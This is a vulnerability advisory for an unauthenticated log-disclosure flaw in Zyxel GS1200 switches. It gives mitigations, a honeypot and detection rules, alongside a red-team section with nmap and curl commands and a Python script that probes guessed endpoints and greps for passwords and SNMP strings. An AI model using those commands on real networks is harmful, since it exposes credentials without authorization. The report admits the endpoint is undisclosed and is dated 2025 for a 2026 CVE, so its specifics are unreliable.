CVE-2026-4795

Executive Summary

CVE-2026-4795 is a missing authorization vulnerability affecting multiple Zyxel GS1200 series managed switches. The flaw allows a LAN-based, unauthenticated attacker to read the system configuration from a log file by sending a crafted HTTP request. This exposes sensitive network configuration data, including VLAN settings, port configurations, and potentially credentials stored in plaintext within logs.

The vulnerability has a CVSS score of 6.5 (Medium), with a vector emphasizing low attack complexity and no authentication required, but limited to adjacent network access (LAN). The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on Zyxel networking hardware. Organizations using these switches should treat this as a hardware supply chain risk, as the firmware is distributed directly by Zyxel and cannot be patched via package managers.

CVSS Breakdown & Threat Level

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication and the exposure of sensitive configuration data make this a significant risk for internal network security. An attacker with LAN access can map the entire network topology and potentially extract credentials.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Zyxel GS1200 series switches. The affected firmware versions fail to enforce proper authorization checks on a specific HTTP endpoint that serves log files. By default, the web interface listens on TCP port 80 (HTTP) and is accessible to any device on the same broadcast domain.

Root Cause: The logread.cgi or similar CGI script (exact endpoint not publicly disclosed) does not verify the session or authentication status of the requester. An unauthenticated HTTP GET request to this endpoint returns the contents of the system log file, which includes:

• Device configuration (VLANs, port settings, STP, etc.)
• SNMP community strings (if configured)
• Admin login attempts (usernames, but not passwords in plaintext)
• Debug output that may contain sensitive data

Attack Flow:

1. Attacker connects to the same LAN as the target switch.
2. Attacker sends a crafted HTTP request to http://<switch-ip>/logread.cgi (or similar).
3. The switch returns the log file without any authentication challenge.
4. Attacker parses the log to extract configuration data.

Affected Models:

• GS1200-5v3 (firmware ≤ 1.00(ACPS.2)C0)
• GS1200-8v3 (firmware ≤ 1.00(ACPT.2)C0)
• GS1200-5HPv3 (firmware ≤ 1.00(ACPU.2)C0)
• GS1200-8HPv3 (firmware ≤ 1.00(ACPV.2)C0)
• GS1200-10v3 (firmware ≤ 1.00(ACPW.2)C0)

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code path is inferred from the firmware binary. The following pseudo-code illustrates the missing authorization check:

Vulnerable Code (CGI handler):

// No authentication check before serving log file
void handle_log_request() {
    char *log_data = read_system_log();
    printf("Content-Type: text/plain\n\n");
    printf("%s", log_data);
}

Patched Code (Expected):

void handle_log_request() {
    if (!is_authenticated()) {
        printf("Status: 401 Unauthorized\n");
        printf("Content-Type: text/html\n\n");
        printf("<html><body>Unauthorized</body></html>");
        return;
    }
    char *log_data = read_system_log();
    printf("Content-Type: text/plain\n\n");
    printf("%s", log_data);
}

The fix requires adding a session validation check before serving any sensitive data. Since no patch is available, users must implement network-level mitigations.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Kali Linux or any Linux distribution with curl or wget
• Access to the same LAN as the target switch
• Target switch IP address (e.g., 192.168.1.100)

Exploitation Steps:

1. Scan the LAN for Zyxel switches:

   nmap -p 80 --open 192.168.1.0/24 -oG - | grep "Zyxel\|GS1200"
   

2. Attempt to read the log file:

   curl -v http://192.168.1.100/logread.cgi
   

   If the endpoint is different, try common paths:

   for path in logread.cgi log.cgi system_log.cgi; do
       curl -s -o /dev/null -w "%{http_code}" http://192.168.1.100/$path
   done
   

3. Parse the output for sensitive data:

   curl -s http://192.168.1.100/logread.cgi | grep -i "password\|snmp\|community\|admin"
   

Automated Exploit Script:

#!/usr/bin/env python3
import requests
import sys

def exploit(target_ip):
    endpoints = ['/logread.cgi', '/log.cgi', '/system_log.cgi']
    for ep in endpoints:
        url = f"http://{target_ip}{ep}"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200 and len(r.text) > 100:
                print(f"[+] Found log endpoint: {url}")
                print(r.text[:2000])  # Print first 2000 chars
                return
        except:
            pass
    print("[-] No vulnerable endpoint found")

if __name__ == "__main__":
    exploit(sys.argv[1])

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to /logread.cgi or similar paths from unauthorized IPs.
• Enable logging on the switch itself (ironically, this vulnerability exposes logs, but logging can help detect scanning).
• Use network segmentation to isolate management interfaces.

Honeypot Setup: Deploy a fake Zyxel switch using a Python script to log attackers:

from http.server import HTTPServer, BaseHTTPRequestHandler
import logging

class HoneypotHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        logging.info(f"Request from {self.client_address[0]} for {self.path}")
        if 'log' in self.path:
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(b"Fake log data: admin password=test123")
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    logging.basicConfig(filename='honeypot.log', level=logging.INFO)
    server = HTTPServer(('0.0.0.0', 80), HoneypotHandler)
    server.serve_forever()

Indicators of Compromise (IOCs)

YARA Rule:

rule CVE_2026_4795_Zyxel_Log_Exposure {
    meta:
        description = "Detects HTTP requests targeting Zyxel GS1200 log endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-4795"
    strings:
        $logread = "/logread.cgi"
        $log = "/log.cgi"
        $syslog = "/system_log.cgi"
        $zyxel = "Zyxel"
    condition:
        any of ($logread, $log, $syslog) and $zyxel
}

Detection Engineering

Sigma Rule

title: CVE-2026-4795 - Zyxel GS1200 Unauthenticated Log Access
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Zyxel GS1200 log endpoints without authentication
author: Valters IT
date: 2025/04/10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2026.4795
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/logread.cgi'
            - '/log.cgi'
            - '/system_log.cgi'
    condition: selection
falsepositives:
    - Legitimate admin access from authorized IPs
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-4795 - Zyxel GS1200 Unauthenticated Log Access Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/logread.cgi"; http_uri;
    sid:1000001;
    rev:1;
    metadata:created_at 2025_04_10, updated_at 2025_04_10;
    reference:cve,2026-4795;
    classtype:attempted-recon;
    priority:2;
)

YARA Rule (for PCAP analysis)

rule CVE_2026_4795_HTTP_Log_Access {
    meta:
        description = "Detects HTTP requests to Zyxel GS1200 log endpoints in PCAP"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-4795"
    strings:
        $get = "GET"
        $logread = "/logread.cgi"
        $log = "/log.cgi"
        $syslog = "/system_log.cgi"
        $http = "HTTP/1."
    condition:
        $get at 0 and any of ($logread, $log, $syslog) and $http
}

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place management interfaces on a separate VLAN with strict ACLs.
2. Disable Web Interface: If not required, disable the HTTP management interface via CLI:

   no ip http server
   

3. Firewall Rules: Block inbound HTTP (TCP 80) to the switch from untrusted LAN segments.
4. Monitor Logs: Enable syslog forwarding to a SIEM and monitor for unauthorized access attempts.

Long-term Fix:

• Contact Zyxel support for a firmware update. As of this report, no patch is available.
• Consider replacing affected switches with models that have proper authentication mechanisms.

Workaround:

• Use SSH instead of HTTP for management (if supported by the model).
• Implement 802.1X authentication on the LAN to prevent unauthorized devices from connecting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated: 2025-04-10